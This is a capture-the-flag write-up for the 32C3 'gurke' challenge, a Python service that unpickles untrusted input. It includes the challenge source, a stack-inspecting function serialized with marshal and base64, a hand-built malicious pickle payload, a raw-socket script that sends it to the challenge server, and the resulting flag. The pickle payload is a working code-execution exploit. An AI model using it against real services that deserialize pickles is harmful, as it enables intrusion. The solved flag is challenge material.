32C3 CTF Writeup - gurke
The 32C3 CTF was held here: https://32c3ctf.ccc.ac/announcements/
misc - 300 pts.
Non-standard gurke: https://32c3ctf.ccc.ac/uploads/gurke Talk to it via HTTP on http://136.243.194.43/.
This is source code.
#!/usr/bin/env python import sys import os import socket import pickle import base64 import marshal import types import inspect import encodings.string_escape class Flag(object): def __init__(self): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("172.17.0.1", 1234)) self.flag = s.recv(1024).strip() s.close() flag = Flag() # http://sourceforge.net/p/libseccomp/mailman/message/31469928/ from seccomp import * ... snip ... data = os.read(0, 4096) try: res = pickle.loads(data) print 'res: %r\n' % res except Exception as e: print >>sys.stderr, "exception", repr(e) os._exit(0)
I reffered sites below:) Thanks them!
- pickleを利用した任意のコード実行とPython Web Framework - mrtc0.log
- https://github.com/python/cpython/blob/master/Lib/pickle.py
- Stephen Checkoway :: Arbitrary code execution with Python pickles
According to the source code of gurke, flag.flag
contains flag and flag may NOT exists as file.
So I tried to obtain flag.flag
value inside of picke's scope with inspect module.
First, I wrote function which prints flag.flag
variable.
flag.flag
is contained in "f_locals" in frame in stack.
I thought flag.flag is contained in f_globals at first. So I wasted match time;(
def stack(): import inspect ret = [] for i in range(5): s = (inspect.stack())[-1 * i - 1] f = s[0] #ret.append(f.f_locals) if 'flag' in f.f_locals: print f.f_locals['flag'].flag return
Second, marshalize this stack()
function.
>>> base64.b64encode(marshal.dumps(stack.func_code)) 'YwAAAAAFAAAABAAAAEMAAABzcQAAAGQBAGQAAGwAAH0AAGcAAH0BAHhYAHQBAGQCAIMBAERdSgB9AgB8AABqAgCDAABkAQB8AgAUZAMAGBl9AwB8AwBkBAAZfQQAZAUAfAQAagMAawYAch8AfAQAagMAZAUAGWoEAEdIZAAAU3EfAFdkAABTKAYAAABOaf////9pBQAAAGkBAAAAaQAAAAB0BAAAAGZsYWcoBQAAAHQHAAAAaW5zcGVjdHQFAAAAcmFuZ2V0BQAAAHN0YWNrdAgAAABmX2xvY2Fsc1IAAAAAKAUAAABSAQAAAHQDAAAAcmV0dAEAAABpdAEAAABzdAEAAABmKAAAAAAoAAAAAHMHAAAAPHN0ZGluPlIDAAAAAQAAAHMQAAAAAAEMAQYBEwEYAQoCDwEPAQ=='
Third, make up pickle payload for http request-body(message-body). Save as marshal.pickle
.
ctypes FunctionType (cmarshal loads (cbase64 b64decode (S'YwAAAAAFAAAABAAAAEMAAABzcQAAAGQBAGQAAGwAAH0AAGcAAH0BAHhYAHQBAGQCAIMBAERdSgB9AgB8AABqAgCDAABkAQB8AgAUZAMAGBl9AwB8AwBkBAAZfQQAZAUAfAQAagMAawYAch8AfAQAagMAZAUAGWoEAEdIZAAAU3EfAFdkAABTKAYAAABOaf////9pBQAAAGkBAAAAaQAAAAB0BAAAAGZsYWcoBQAAAHQHAAAAaW5zcGVjdHQFAAAAcmFuZ2V0BQAAAHN0YWNrdAgAAABmX2xvY2Fsc1IAAAAAKAUAAABSAQAAAHQDAAAAcmV0dAEAAABpdAEAAABzdAEAAABmKAAAAAAoAAAAAHMHAAAAPHN0ZGluPlIDAAAAAQAAAHMQAAAAAAEMAQYBEwEYAQoCDwEPAQ==' tRtRc__builtin__ globals (tRS'' tR(tR.
Forth, write some code which send http reqests with pyload. Reqest-body must be "LF" formatted. "CRLF" cannnot be work.
#!/usr/bin/env python2 # -*- coding: utf-8 -*- import sys import re import socket #import requests from hexdump import * def main(argc, argv): code = open(argv[1] + ".pickle").read() code_len = len(code) - 1 # http://136.243.194.43/ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("136.243.194.43", 80)) header = '\r\n'.join([ "POST / HTTP/1.1", "Keep-Alive: 300", "Connection: keep-alive", "Content-Type: text/plain", "Content-Length: " + str(code_len) ]) request = header + "\r\n\r\n" + code #print "[+] request ----" #print hexdump(request) s.send(request) t = s.recv(4096) print t #res = re.search("res: \'(.+)\'", t).group(1) #print res if __name__ == "__main__": main(len(sys.argv), sys.argv)
Finally, execute python script to get flags!
$ ./gurke.py marshal HTTP/1.1 200 OK Content-Type: application/octet-stream 1: 32c3_rooDahPaeR3JaibahYeigoong res: None retval: 0
flag: 32c3_rooDahPaeR3JaibahYeigoong
This is what i solved;(
32C3 CTF is so difficult for me, but i enjoyed it verry much. Great job, StratumAuhuur!!!